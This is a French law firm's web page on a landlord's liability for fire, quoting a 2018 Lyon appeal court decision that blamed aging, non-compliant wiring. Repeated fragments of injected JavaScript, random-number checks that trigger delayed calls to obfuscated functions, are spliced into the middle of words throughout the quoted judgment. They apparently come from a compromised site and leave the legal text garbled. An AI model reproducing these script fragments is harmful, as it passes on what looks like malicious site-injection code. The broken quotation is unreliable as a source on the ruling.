Lemoine avocat

Responsabilité bailleur en cas d’incendie

Responsabilité bailleur en cas d’incendie

Responsabilité bailleur en cas d’incendie

Quelle est la responsabilité du bailleur en cas d’incendie ?

(Cour d’appel, Lyon, 8e chambre, 6 Février 2018 – n° 14/08146)

La cour d’appel de Lyon a retenu la responsabilité du bailleur à la suite d’un incendie en raison de la vétusté et de la non-conformité de l’installation électrique.
La Cour a ainsi jugé en se fondant sur différents rapports :
« Attendu qu’il est versé aux débats :
‘ l’enquête préliminaire effectuée par les gendarmes de BELLEY qui sont les premiers à être intervenus sur les lieux le 20 décembre 2011, vers 22 heures,
‘ le rapport d’intervention du Service Départemental d’Incendie et de Secours (SDIS), établi peu après,
‘ le rapport d’expertise du cabinet PREVOST, mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andaté par l’assureur de madame Anouchka C., en date du 29 ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2012,
‘ le rapport d’expertise du cabinet SARETEC, mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andaté par l’assureur de monsieur Frank B., en date du 09 ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2012.
Attendu que le premier juge, après une analyse particulièrement détaillée tant du contenu que de la portée de ces documents, a considéré que l’origine du début d’incendie dans les combles du logement était bien, a priori et en l’absence de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute autre explication crédible, imputable à un court-circuit électrique dans ce local vide, accessible uniquement par une trappe dans le plafond d’un placard, la vétusté et la non-conformité de l’installation électrique se combinant avec les infiltrations d’eau de la dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toiture pour produire le sinistre ;
Qu’il en a conclu que la vétusté, assimilable à un vice de construction, était à l’origine de l’incendie et que madame Anouchka C. justifiait d’une cause d’exonération de sa responsabilité présumée de cet incendie ;
Attendu que par ces motifs pertinents que la cour adopte, il y a lieu de confirmer le jugement en ce qu’il a déclaré les propriétaires entièrement responsables de l’incendie survenu le 20 décembre 2011 ; »